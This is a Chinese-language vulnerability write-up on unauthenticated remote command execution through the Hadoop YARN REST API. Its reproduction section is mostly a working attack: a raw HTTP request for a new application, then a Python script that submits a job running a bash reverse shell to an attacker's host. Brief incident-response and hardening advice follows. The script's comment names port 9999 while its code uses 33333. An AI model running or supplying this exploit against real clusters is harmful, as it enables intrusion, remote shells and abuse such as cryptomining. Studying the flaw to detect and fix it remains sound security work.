目录
一、概述
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。
二、影响版本
版本 <hadoop 3.3.0
三、漏洞复现
1、申请新的application
直接发送POST请求,获得“application-id”
POST /ws/v1/cluster/apps/new-application HTTP/1.1
Host: 192.168.52.131:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
2、构造并提交任务
这里使用官方的exp
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = 'xx.xx.xx.xx' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/33333 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
执行该脚本:
python3 payload.py http://targetIP:8088
四、应急响应
1、日志侧排查
通过排查YARN的日志文件
yarn-root-nodemanager-master.hadoop.log
或者查看docker运行日志
通过命令:docker logs 容器id
2、控制UI查看Applications
五、加固建议
1、限制8088端口访问,如无必要,禁止对外开放
2、启用Kerberos认证功能,禁止匿名访问